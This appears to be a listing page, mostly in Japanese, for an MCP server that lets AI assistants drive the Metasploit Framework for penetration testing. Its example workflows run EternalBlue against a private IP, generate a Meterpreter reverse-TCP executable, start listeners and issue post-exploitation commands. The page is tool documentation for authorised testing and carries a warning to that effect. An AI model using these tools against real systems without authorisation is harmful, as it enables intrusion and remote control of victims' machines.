Metasploit MCP Server

by GH05TCREW
Verified

local-only server

The server can only run on the client’s local machine because it depends on local resources.

Integrations

  • Provides a bridge to the Metasploit Framework penetration testing platform, enabling exploitation workflows, payload generation and execution, post-exploitation tools, listener management, and auxiliary module support.

Metasploit MCP サーバー

Metasploit Framework 統合用のモデル コンテキスト プロトコル (MCP) サーバー。

説明

このMCPサーバーは、Claudeのような大規模言語モデルとMetasploit Framework侵入テストプラットフォーム間の橋渡しを提供します。AIアシスタントが標準化されたツールを通じてMetasploitの機能に動的にアクセスし、制御することを可能にし、複雑なセキュリティテストワークフローへの自然言語インターフェースを実現します。

特徴

ペイロードの生成と実行

  • generate_payload : Metasploit RPC を使用してペイロード ファイルを生成する (ファイルをローカルに保存する)
  • execute_local_program : ローカルに保存されたプログラム(生成されたペイロードなど)を実行する

エクスプロイトワークフロー

  • list_exploits : 利用可能なMetasploitエクスプロイトモジュールを検索して一覧表示する
  • list_payloads : 利用可能なMetasploitペイロードモジュールを検索して一覧表示する
  • run_exploit : ターゲットに対してエクスプロイトを設定して実行する
  • list_active_sessions : 現在のMetasploitセッションを表示する
  • send_session_command : アクティブなセッションでコマンドを実行する

ポストエクスプロイトツール

  • get_system_info : Meterpreter セッションからシステム情報を取得する
  • get_user_id : セッションの現在のユーザーコンテキストを取得する
  • list_processes : 対象システムで実行中のプロセスを一覧表示する
  • migrate_process : Meterpreter セッションを別のプロセスに移動する
  • filesystem_list : ターゲットシステム上のディレクトリ内のファイルを一覧表示する

リスナー管理

  • list_listeners : すべてのアクティブなハンドラーとバックグラウンドジョブを表示します
  • start_listener : 接続を受信するための新しいマルチ/ハンドラを作成する
  • stop_job : 実行中のジョブまたはハンドラーを終了する

補助モジュールのサポート

  • run_auxiliary_module : オプション付きで任意のMetasploit補助モジュールを実行する

前提条件

  • Metasploit Frameworkがインストールされ、msfrpcdが実行中
  • Python 3.10以上
  • 必要な Python パッケージ (requirements.txt を参照)

インストール

  1. このリポジトリをクローンする
  2. 依存関係をインストールします:
    pip install -r requirements.txt
  3. 環境変数を設定します(オプション):
    MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads

使用法

Metasploit RPC サービスを開始します。

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Claude Desktop 統合の場合は、 claude_desktop_config.jsonを構成します。

{ "mcpServers": { "metasploit": { "command": "uv", "args": [ "--directory", "C:\\path\\to\\MetasploitMCP", "run", "MetasploitMCP.py" ], "env": { "MSF_PASSWORD": "yourpassword" } } } }

セキュリティに関する考慮事項

⚠️重要なセキュリティ警告:

このツールは、強力なエクスプロイト機能を含むMetasploit Frameworkの機能に直接アクセスできます。セキュリティテストを実行するための明示的な権限が付与された環境でのみ、責任を持ってご使用ください。

  • 実行前に必ずすべてのコマンドを検証して確認してください
  • 隔離されたテスト環境または適切な承認を得てのみ実行してください
  • エクスプロイト後のコマンドは、システムに重大な変更をもたらす可能性があることに注意してください。

ワークフローの例

基本的な搾取

  1. 利用可能なエクスプロイトの一覧: list_exploits("ms17_010")
  2. エクスプロイトを選択して実行します: run_exploit("exploit/windows/smb/ms17_010_eternalblue", "192.168.1.100", 445)
  3. セッションの一覧表示: list_active_sessions()
  4. コマンドを実行: send_session_command(1, "whoami")

搾取後

  1. システム情報を取得する: get_system_info(1)
  2. 実行中のプロセスの一覧を取得する: list_processes(1)
  3. より安定したプロセスに移行する: migrate_process(1, 1234)
  4. ファイルシステムを参照する: filesystem_list(1, "C:\\Users")

ハンドラー管理

  1. リスナーを開始します: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. アクティブなハンドラーを一覧表示する: list_listeners()
  3. ペイロードを生成します: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. ハンドラを停止する: stop_job(1)

設定オプション

ペイロード保存ディレクトリ

デフォルトでは、 generate_payloadで生成されたペイロードは、ホームフォルダ内のpayloadsディレクトリ( ~/payloadsまたはC:\Users\YourUsername\payloads )に保存されます。この保存場所は、 PAYLOAD_SAVE_DIR環境変数を設定することでカスタマイズできます。

環境変数の設定:

  • Windows (PowerShell) :
    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  • Windows (コマンドプロンプト) :
    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  • Linux/macOS :
    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  • Claude Desktop の設定:
    "env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }

**注:**カスタムパスを指定する場合は、そのパスが存在するか、アプリケーションに作成権限があることを確認してください。パスが無効な場合、ペイロードの生成に失敗する可能性があります。

ライセンス

アパッチ 2.0

-
security - not tested
A
license - permissive license
-
quality - not tested

大規模言語モデルと Metasploit Framework の間にブリッジを提供し、AI アシスタントが自然言語を通じて侵入テスト機能にアクセスして制御できるようにします。

  1. Description
    1. Features
      1. Payload Generation and Execution
      2. Exploitation Workflow
      3. Post-Exploitation Tools
      4. Listener Management
      5. Auxiliary Module Support
    2. Prerequisites
      1. Installation
        1. Usage
          1. Security Considerations
            1. Example Workflows
              1. Basic Exploitation
              2. Post-Exploitation
              3. Handler Management
            2. Configuration Options
              1. Payload Save Directory
            3. License
              ID: vmkfe6ftya